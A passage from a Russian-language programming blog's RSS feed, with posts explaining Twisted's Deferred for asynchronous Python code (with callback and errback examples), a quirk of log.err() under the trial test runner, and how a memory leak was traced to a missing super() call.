(БД, кэширующие сервера, RPC и т.п.), запись ответа клиенту. Во время этих
операций ввода-вывода процессор простаивает, его можно загрузить обработкой
запросов других клиентов.  Возможны различные способы решить эту задачу: отдельный
процесс на каждое соединение (<a href="http://httpd.apache.org/">Apache</a> mpm&#95;prefork, <a href="http://www.postgresql.org">PostgreSQL</a>, <a href="http://www.php.net">PHP</a> FastCGI),
отдельный поток (нить) на каждое соединение или комбинированный вариант
процесс/нить (<a href="http://httpd.apache.org/">Apache</a> mpm&#95;worker, <a href="http://mysql.org">MySQL</a>). Подход с использованием процессов или
нитей перекладывает мультиплексирование процессора между обрабатываемыми
соединениями на ОС, при этом расходуется относительно много ресурсов (память,
переключения контекста и т.п.), такой вариант не подходит для обработки
большого количества одновременных соединений, но идеален для ситуации, когда
объем вычислений достаточно высок (например, в СУБД). К плюсам модели нитей и
процессов можно добавить потенциальное использование всех доступных процессоров
в многопроцессорной архитектуре.</p>

<p>Альтернативой является использование однопоточной модели с использованием
примитивов асинхронного ввода-вывода, предоставляемых ОС (select, poll, и
т.п.). При этом объем ресурсов на каждое новое обслуживаемое соединение не
такой большой (новый сокет, какие-то структуры в памяти приложения). Однако
программирование существенно усложняется, т.к. данные из сетевых сокетов
поступают некоторыми &laquo;отрывками&raquo;, причем за один цикл обработки данные поступают от разных
соединений, находящихся в разных состояниях, часть соединений могут быть
входящими от клиентов, часть &#8211; исходящими к внешним ресурсам (БД, другой сервер
и т.п.). Для упрощения разработки используются различные концепции: callback,
конечные автоматы и другие. Примеры сетевых серверов, использующих асинхронный
ввод-вывод: <a href="http://sysoev.ru/nginx/">nginx</a>, <a href="http://lighttpd.net/">lighttpd</a>, 
<a href="http://haproxy.1wt.eu/">HAProxy</a>, <a href="https://developer.skype.com/SkypeGarage/DbProjects/PgBouncer">pgBouncer</a>, и т.д. Именно при такой
однопоточной модели возникает необходимость в асинхронном программировании.
Например, мы хотим выполнить запрос в БД. С точки зрения программы выполнение
запроса &#8211; это сетевой ввод-вывод: соединение с сервером, отправка запроса,
ожидание ответа, чтение ответа сервера БД. Поэтому если мы вызываем
функцию &laquo;выполнить запрос БД&raquo;, то она сразу вернуть результат не сможет
(иначе она должна была бы заблокироваться), а вернет лишь нечто, что позволит
впоследствие получить результат запроса или, возможно, ошибку (нет соединения
с сервером, некорректный запрос и т.п.) Этим возвращаемым значением удобно
сделать именно Deferred.</p>

<p>Второй пример связан с разработкой обычных десктопных приложений. Предположим,
мы решили сделать аналог <a href="http://www.miranda-im.org/">Miranda</a> (<a href="http://qip.ru/">QIP</a>, <a href="http://mdc.ru/">MDC</a>, &#8230;), то есть свой мессенджер.
В интерфейсе программы есть контакт-лист, где можно удалить контакт. Когда
пользователь выбирает это действие, он ожидает что контакт исчезнет на экране 
и что он действительно удалится из контакт-листа. На самом деле операция
удаления из серверного контакт-листа опирается на сетевое взаимодействие
с сервером, при этом пользовательский интерфейс не должен быть заблокирован
на время выполнения этой операции, поэтому в любом случае после выполнения
операции потребуется некоторое асинхронное взаимодействие с результатом операции.
Можно использовать механизм сигналов-слотов, callback&#8217;ов или что-то еще,
но лучше всего подойдет Deferred: операция удаления из контакт-листа возвращает
Deferred, в котором обратно придет либо положительный результат (всё хорошо),
либо исключение (точная ошибка, которую надо сообщить пользователю): в случае
ошибки контакт надо восстановить контакт в контакт-листе.</p>

<p>Примеры можно приводить долго и много, теперь о том, что же такое Deferred.
Deferred &#8211; это сердце framework&#8217;а асинхронного сетевого программирования 
<a href="http://twistedmatrix.com/">Twisted</a> в Python. Это простая и стройная концепция, которая
позволяет перевести синхронное программирование в асинхронный код, не изобретая
велосипед для каждой ситуации и обеспечивая высокое качества кода.
Deferred &#8211; это просто возвращаемый результат функции, когда этот результат
неизвестен (не был получен, будет получен в другой нити и т.п.) Что мы можем
сделать с Deferred? Мы можем &laquo;подвеситься&raquo; в цепочку обработчиков, которые
будут вызваны, когда результат будет получен. При этом Deferred может нести не 
только положительный результат выполнения, но и исключения, сгенерированные
функцией или обработчиками, есть возможность исключения обработать, перевыкинуть
и т.д. Фактически, для синхронного кода есть более-менее однозначная параллель в
терминах Deferred. Для эффективной разработки с Deferred оказываются полезными
такие возможности языка программирования, как замыкания, лямбда-функци.</p>

<p><span id="more-296"></span></p>

<p>Приведем пример синхронного кода и его альтернативу в терминах Deferred:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">try</span>:
    <span style="color: #808080; font-style: italic;"># Скачать по HTTP некоторую страницу</span>
    page = downloadPage<span style="color: black;">&#40;</span>url<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;"># Распечатать содержимое</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> page
<span style="color: #ff7700;font-weight:bold;">except</span> HTTPError, e:
    <span style="color: #808080; font-style: italic;"># Произошла ошибка</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;An error occured: %s&quot;</span>, e</pre></div></div>


<p>В асинхронном варианте с Deferred он был бы записан следующим образом:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> printContents<span style="color: black;">&#40;</span>contents<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;
    Callback, при успешном получении текста страницы,
    распечатываем её содержимое.
    &quot;&quot;&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> contents
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> handleError<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;
    Errback (обработчик ошибок), просто распечатываем текст ошибки.
    &quot;&quot;&quot;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># Мы готовы обработать только HTTPError, остальные исключения</span>
    <span style="color: #808080; font-style: italic;"># &quot;проваливаются&quot; ниже.</span>
    failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span>HTTPError<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;"># Распечатываем само исключение</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;An error occured: %s&quot;</span>, failure
&nbsp;
<span style="color: #808080; font-style: italic;"># Теперь функция выполняется асинхронно и вместо непосредственного</span>
<span style="color: #808080; font-style: italic;"># результата мы получаем Deferred</span>
deferred = downloadPage<span style="color: black;">&#40;</span>url<span style="color: black;">&#41;</span>
<span style="color: #808080; font-style: italic;"># Навешиваем на Deferred-объект обработчики успешных результатов</span>
<span style="color: #808080; font-style: italic;"># и ошибок (callback, errback).</span>
deferred.<span style="color: black;">addCallback</span><span style="color: black;">&#40;</span>printContents<span style="color: black;">&#41;</span>
deferred.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>handleError<span style="color: black;">&#41;</span></pre></div></div>


<p>На практике обычно мы возвращаем Deferred из функций, которые получают
Deferred в процессе своей работы, навешиваем большое количество обработчиков,
обрабатываем исключения, некоторые исключения возвращаем через Deferred (выбрасываем
наверх). В качестве более сложного примера приведем код в асинхронном
варианте для примера атомарного счетчика из статьи про <a href="http://www.smira.ru/2009/01/21/data-structures-in-memcached-memcachedb/#atomic-counter">структуры данных в memcached</a>,
здесь мы предполагаем, что доступ к memcached как сетевому сервису идет через Deferred, т.е.
методы класса Memcache возвращают Deferred (который вернет либо результат операции, либо ошибку):</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">class</span> MCCounter<span style="color: black;">&#40;</span>MemcacheObject<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, mc, name<span style="color: black;">&#41;</span>:
        <span style="color: #483d8b;">&quot;&quot;&quot;
        Конструктор.
&nbsp;
        @param name: имя счетчика
        @type name: C{str}
        &quot;&quot;&quot;</span>
        <span style="color: #008000;">super</span><span style="color: black;">&#40;</span>MCCounter, <span style="color: #008000;">self</span><span style="color: black;">&#41;</span>.<span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span>mc<span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">key</span> = <span style="color: #483d8b;">'counter'</span> + name
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> increment<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, value=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
        <span style="color: #483d8b;">&quot;&quot;&quot;
        Увеличить значение счетчика на указанное значение.
&nbsp;
        @param value: инкремент
        @type value: C{int}
        @return: Deferred, результат операции
        &quot;&quot;&quot;</span>
        <span style="color: #ff7700;font-weight:bold;">def</span> tryAdd<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
            <span style="color: #808080; font-style: italic;"># Обрабатываем только KeyError, всё остальное &quot;вывалится&quot;</span>
            <span style="color: #808080; font-style: italic;"># ниже</span>
            failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span><span style="color: #008000;">KeyError</span><span style="color: black;">&#41;</span>
&nbsp;
            <span style="color: #808080; font-style: italic;"># Пытаемся создать ключ, если раз его еще нет</span>
            d = <span style="color: #008000;">self</span>.<span style="color: black;">mc</span>.<span style="color: black;">add</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">key</span>, value, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
            <span style="color: #808080; font-style: italic;"># Если вдруг кто-то еще создаст ключ раньше нас,</span>
            <span style="color: #808080; font-style: italic;"># мы это обработаем</span>
            d.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>tryIncr<span style="color: black;">&#41;</span>
            <span style="color: #808080; font-style: italic;"># Возвращаем Deferred, он &quot;вклеивается&quot; в цепочку</span>
            <span style="color: #808080; font-style: italic;"># Deferred, в контексте которого мы выполняемся</span>
            <span style="color: #ff7700;font-weight:bold;">return</span> d
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">def</span> tryIncr<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
            <span style="color: #808080; font-style: italic;"># Всё аналогично функции tryAdd</span>
            failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span><span style="color: #008000;">KeyError</span><span style="color: black;">&#41;</span>
&nbsp;
            d = <span style="color: #008000;">self</span>.<span style="color: black;">mc</span>.<span style="color: black;">incr</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">key</span>, value<span style="color: black;">&#41;</span>
            d.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>tryAdd<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">return</span> d
&nbsp;
        <span style="color: #808080; font-style: italic;"># Пытаемся выполнить инкремент, получаем Deferred</span>
        d = <span style="color: #008000;">self</span>.<span style="color: black;">mc</span>.<span style="color: black;">incr</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">key</span>, value<span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;"># Обрабатываем ошибку</span>
        d.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>tryAdd<span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;"># Возвращаем Deferred вызывающему коду, он может тем самым:</span>
        <span style="color: #808080; font-style: italic;">#  а) узнать, когда операция действительно завершится</span>
        <span style="color: #808080; font-style: italic;">#  б) обработать необработанные нами ошибки (например, разрыв соединения)</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> d
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> value<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #483d8b;">&quot;&quot;&quot;
        Получить значение счетчика.
&nbsp;
        @return: текущее значение счетчика
        @rtype: C{int}
        @return: Deferred, значение счетчика
        &quot;&quot;&quot;</span>
        <span style="color: #ff7700;font-weight:bold;">def</span> handleKeyError<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
            <span style="color: #808080; font-style: italic;"># Обрабатываем только KeyError</span>
            failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span><span style="color: #008000;">KeyError</span><span style="color: black;">&#41;</span>
&nbsp;
            <span style="color: #808080; font-style: italic;"># Ключа нет - возвращаем 0, он станет результатом</span>
            <span style="color: #808080; font-style: italic;"># вышележащего Deferred</span>
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Пытаемся получить значение ключа</span>
        d = <span style="color: #008000;">self</span>.<span style="color: black;">mc</span>.<span style="color: black;">get</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">key</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;"># Будем обрабатывать ошибку отсутствия ключа</span>
        d.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>handleKeyError<span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;"># Возвращаем Deferred, наверх там можно будет повеситься</span>
        <span style="color: #808080; font-style: italic;"># на его callback и получить искомое значение счетчика</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> d</pre></div></div>


<p>На практике приведенный выше код можно написать &laquo;короче&raquo;, объединяя часто используемые операции, например:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>.<span style="color: black;">mc</span>.<span style="color: black;">get</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">key</span><span style="color: black;">&#41;</span>.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>handleKeyError<span style="color: black;">&#41;</span></pre></div></div>


<p>Практически для каждой конструкции синхронного кода можно найти аналог в асинхронной концепции с Deferred:</p>

<ul>
<li>последовательности синхронных операторов соответствует цепочка callback с асинхронными вызовами;</li>
<li>вызову одной подпрграммы с вводом-выводом из другой соответствует возврат Deferred из Deferred (ветвление Deferred);</li>
<li>глубокой цепочки вложенности, распространению исключений по стеку соответствует цепочка функций, возвращающие друг другу
Deferred;</li>
<li>блокам try..except соответствуют обработчики ошибок (errback), которые могут &laquo;пробрасывать&raquo; исключения дальше,
любое исключение в callback переводит выполнение в errback;</li>
<li>для &laquo;параллельного&raquo; выполнения асинхронных операций есть <code>DeferredList</code>.</li>
</ul>

<p>Нити часто применяются в асинхронных программах для осуществления вычислительных процедур, осуществления блокирующегося 
ввода-вывода (когда не существует асинхронного аналога). Всё это легко моделируется в простой модели &#8216;worker&#8217;, тогда 
нет необходимости при грамотной архитектуре в явной синхронизации, при этом всё элегантно включается в общий поток
вычислений с помощью Deferred:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> doCalculation<span style="color: black;">&#40;</span>a, b<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;
    В этой функции осуществляются вычисления, синхронные операции ввода-вывода,
    не затрагивающие основной поток.
    &quot;&quot;&quot;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span> a/b
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> printResult<span style="color: black;">&#40;</span>result<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> result
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> handleDivisionByZero<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
    failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span><span style="color: #008000;">ZeroDivisionError</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Ooops! Division by zero!&quot;</span>
&nbsp;
deferToThread<span style="color: black;">&#40;</span>doCalculation, <span style="color: #ff4500;">3</span>, <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>.<span style="color: black;">addCallback</span><span style="color: black;">&#40;</span>printResult<span style="color: black;">&#41;</span>.<span style="color: black;">addCallback</span><span style="color: black;">&#40;</span>
    <span style="color: #ff7700;font-weight:bold;">lambda</span> _: deferToThread<span style="color: black;">&#40;</span>doCalculation, <span style="color: #ff4500;">3</span>, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>.<span style="color: black;">addErrback</span><span style="color: black;">&#40;</span>handleDivisionByZero<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>


<p>В приведенном выше примере функция <code>deferToThread</code> переносит выполнение указанной функции в отдельную нить и возвращает
Deferred, через который будет асинхронно получен результат выполнения функции или исключение, если они будет выброшено.
Первое деление (3/2) выполняется в отдельной нити, затем распечатывается его результат на экран, а затем запускается
еще одно вычисление (3/0), которое генерирует исключение, обрабатываемое функцией <code>handleDivisionByZero</code>.</p>

<p>В одной статье не описать и части того, что хотелось бы сказать о Deferred, мне удалось не написать ни слова о том,
как же они работают. Если успел заинтересовать &#8211; читайте материалы ниже, а я обещаю написать еще.</p>

<h2>Дополнительные материалы</h2>

<ul>
<li>Документация Twisted Framework:

<ul>
<li><a href="http://twistedmatrix.com/projects/core/documentation/howto/async.html">Основы асинхронного программирования</a></li>
<li><a href="http://twistedmatrix.com/projects/core/documentation/howto/defer.html">Использование Deferred</a>, <a href="http://twistedmatrix.com/projects/core/documentation/howto/gendefer.html">Откуда берутся Deferred?</a>, <a href="http://twistedmatrix.com/projects/core/documentation/howto/deferredindepth.html">Детальное описание Deferred</a></li>
</ul></li>
<li>Deferred в других языках программирования:

<ul>
<li>JavaScript: <a href="http://javascript.ru/tutorial/async/deferred-deep">Использование Deferred в JavaScript</a>, <a href="http://code.netstream.ru/wiki/QooxdooTwistedDeferred">Deferred в qooxdoo</a>, <a href="http://ajaxian.com/archives/dojos-deferred-api">Deferred в Dojo</a>, <a href="http://mochikit.com/doc/html/MochiKit/Async.html#fn-deferred">Deferred в MochiKit</a></li>
<li>C++: <a href="http://twistedmatrix.com/pipermail/twisted-python/2009-January/019119.html">1</a>, <a href="http://www.twistedmatrix.com/pipermail/twisted-python/2008-October/018548.html">2</a>, <a href="http://web.me.com/namezys/main/Блог/Записи/2009/1/26_Я_дописал_sequence._То_есть_питоновские_деферы.html">3</a></li>
<li>&#8230;</li>
</ul></li>
<li><a href="http://burus.org/2008/12/16/twisted-classic-examples/">Александр Бурцев о Twisted</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/02/10/deferred-async-programming/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>twisted.python.log и trial &#8211; веселимся вместе</title>
		<link>http://www.smira.ru/2008/10/24/twisted-log-and-trial-fun/</link>
		<comments>http://www.smira.ru/2008/10/24/twisted-log-and-trial-fun/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 05:32:27 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[trial]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=153</guid>
		<description><![CDATA[Следующий забавный случай взаимодействия частей Twisted Framework заставил меня потерять час времени, спешу рассказать, в надежде, что это спасет чьё-то время. Итак, в Twisted есть модуль логгинга, twisted.python.log, в котором есть удобный метод log.err(), который позволяет записать в лог информацию о текущем исключении. А trial &#8211; это framework для написания юнит-тестов из того же Twisted. [...]]]></description>
			<content:encoded><![CDATA[<p>Следующий забавный случай взаимодействия частей <a href="http://twistedmatrix.com/">Twisted Framework</a> заставил меня потерять час времени, спешу рассказать, в надежде,
что это спасет чьё-то время. Итак, в Twisted есть модуль логгинга, <code>twisted.python.log</code>, в котором есть удобный метод <code>log.err()</code>, который позволяет записать в лог информацию о текущем исключении. А <code>trial</code> &#8211; это framework для написания юнит-тестов из того же Twisted. Их сочетание иногда приводит к проблеме <img src='http://www.smira.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p><span id="more-153"></span></p>

<p>Итак, у меня был блок кода, похожий на пример ниже:</p>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> twisted.<span style="color: black;">python</span> <span style="color: #ff7700;font-weight:bold;">import</span> log
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> catcher<span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">try</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
  <span style="color: #ff7700;font-weight:bold;">except</span> GoodException:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">'ERROR'</span>
  <span style="color: #ff7700;font-weight:bold;">except</span>:
    log.<span style="color: black;">err</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">raise</span> UnknownException</pre></td></tr></table></div>


<p>По смыслу он должен был логировать все неожиданные исключения и заменять их на более разумные. Я написал юнит-тест на такую функцию примерно следующего вида:</p>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> testCatcher<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">def</span> raiseBadException<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">assert</span> <span style="color: #008000;">False</span> 
  <span style="color: #008000;">self</span>.<span style="color: black;">assertEquals</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'ERROR'</span>, catcher, raiseBadException<span style="color: black;">&#41;</span></pre></td></tr></table></div>


<p>При запуске юнит-тест говорил, что он завершился с ошибкой, т.к. было выброшено исключение 
<code>exceptions.AssertionError</code>, т.е. то исключение, которое генерирует строка 3 в тесте. Но ведь оно было поймано <code>catcher</code>? Я долго бился с этой ситуацией (на самом деле код был сложнее, но суть его от этого не менялась), пока не понял, что если из-под <code>trial</code> (запускальщика юнит-тестов) сделать <code>twisted.python.log.err</code>, то вместо того, чтобы вывести в лог исключение, он помечает тест как ошибочный, при этом в качестве причины ошибки выводит текущее исключение! То есть тест отрабатывал штатно, но <code>log.err()</code> мой помечал его как ошибочный.</p>

<p>Вот такое вот не совсем очевидное взаимодействие&#8230;</p>

<p><b>Update</b>: на самом деле &laquo;правильный&raquo; способ это исправить &#8211; использовать <a href="http://twistedmatrix.com/documents/11.0.0/api/twisted.trial.unittest.TestCase.html#flushLoggedErrors">TestCase.flushLoggedErrors</a>. Спасибо <a href="http://twitter.com/#!/paaleksey">@paaleksey</a> за наводку.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2008/10/24/twisted-log-and-trial-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Поиск несуществующего memory leak</title>
		<link>http://www.smira.ru/2008/02/09/python-memory-leak-resolved/</link>
		<comments>http://www.smira.ru/2008/02/09/python-memory-leak-resolved/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 20:45:53 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[leak]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[памяти]]></category>
		<category><![CDATA[разработка]]></category>
		<category><![CDATA[утечка]]></category>

		<guid isPermaLink="false">http://www.smira.ru/2008/02/09/python-memory-leak-resolved/</guid>
		<description><![CDATA[Очень забавная история. Был работающий и написанный сервер вещаний (a-la Red5) на Python. В связи с развитием основной класс &#8211; класс протокола &#8211; был разрезан на несколько более мелких классов, которые собирались вместе множественным наследованием в единый монолит, который должен был по функциональности повторять исходный класс (до рефакторинга). Как показало вскрытие, старая версия стабильно работает [...]]]></description>
			<content:encoded><![CDATA[<p>Очень забавная история. Был работающий и написанный сервер вещаний (a-la Red5) на Python. В связи с развитием основной класс &#8211; класс протокола &#8211; был разрезан на несколько более мелких классов, которые собирались вместе множественным наследованием в единый монолит, который должен был по функциональности повторять исходный класс (до рефакторинга). Как показало вскрытие, старая версия стабильно работает неделю за неделей, а новая версия через неопределенный, но достаточно короткий период времени (несколько часов) откушивает всю доступную память и погибает.</p>

<p>Типичная ситуация для memory leak, причём опытным путём стало понятно, что эта утечка как-то коррелирует с нагрузкой на сервер (что логично), но зависимость неоднозначная. Момент появления утечки был сужен до одного коммита &#8211; казалось бы дело за малым. Анализ исходников в поисках того момента, когда была внесена утечка ничего дает &#8211; исходники испаханы вдоль и поперек. Ничего.</p>

<p>Анализ во время выполнения с помощью с помощью довольно замысловатых утилит из <a href="http://wingolog.org/archives/2007/11/27/reducing-the-footprint-of-python-applications">этого поста</a>
ни к чему не привёл &#8211; нет ничего. Я пробовал считать количество объектов, которые видит модуль <code>gc</code> в питоне (то есть тех, кто поддерживает <em>garbage collection</em>), но количество не растет существенно и пропорционально нагрузке на сервер. Однако память процесс кушает и довольно быстро.</p>

<p>В проекте было расширение, написанное на Си, &#8211; его анализ, исправление мелких неточностей результата не дает.</p>

<p>Остается неутешительный вывод &#8211; в силу того, что число объектов в программе не растет, то значит либо растет размер каких-то объектов (например, строк путем конкатенации), либо это какая-то бага в Python, ОС или где-то еще. </p>

<p>Последнее выглядит романтично и привлекательно, но на самом деле ничего не дает &#8211; такую ошибку еще тяжелее найти и поправить, однако багтрекеры FreeBSD, Python и Twisted молчат по поводу таких ошибок.</p>

<p>Двигаемся дальше &#8211; создается тестовый клиент вещаний, который имитирует нагрузку на сервер: разное количество вещаний, авторы, подписчики вещания, различные ошибочные ситуации, чат. Тест, запущенный локально с локальным сервером (а нелокально тестовое окружение собрать тяжело &#8211; поток порядка 50-100 Мбит/с) не дает результатов &#8211; никаких следов утечки памяти ни за час, ни за два.</p>

<p>Отчаяние, практически неделя потерянного впустую времени, тестирование различных вариантов&#8230; Что еще? Есть еще <a href="http://twistedmatrix.com/">Twisted-Conch+Twisted-Manhole</a> &#8211; живая консоль с интерпретатором питона в работающем сервере. Но и она не дает никаких результатов &#8211; garbage collection работает, никаких разумных объектов, которые могли бы дать утечку памяти нет.</p>

<p>Озарение как всегда приходит в тот момент, когда его совсем не ждешь: ведь сервер вещает, то есть получает на вход поток в 0,5 Мбит/с, раздает его 200 клиентам и делает на выходе 100 Мбит/с, если у кого-то из этих 200 клиентов канал меньше по ширине 0,5 Мбит/с, то данные в буферах процессах начнут скапливаться. Для этого есть решение &#8211; дроп пакетов, он  был реализован и работал&#8230;</p>

<p><em>Эврика</em>! После разделения большого класса на кучу мелких фрагментов некоторые методы &laquo;разрезались&raquo; на части. И в них надо поставить вызов метода предка, чтобы все &laquo;куски&raquo; метода отработали, как и раньше. Но ведь в питоне есть еще <a href="http://www.python.org/download/releases/2.3/mro/">MRO</a> (Method Resolution Order), и надо отвыкнуть от того, что базовый класс в моём ощущении является последним в цепочке, то есть у него нет <code>super(Klass, self)</code> &#8211; он есть! Просто метод, который включал анализ буфера записи, который в свою очередь вовремя включал механизм пропуска пакетов отключился. И хотя всё работало, но пропуск пакетов не включался и буферы записи росли неограниченно. Исправление в одной строке &#8211; вызова метода предка решило проблему. Обидно <img src='http://www.smira.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2008/02/09/python-memory-leak-resolved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

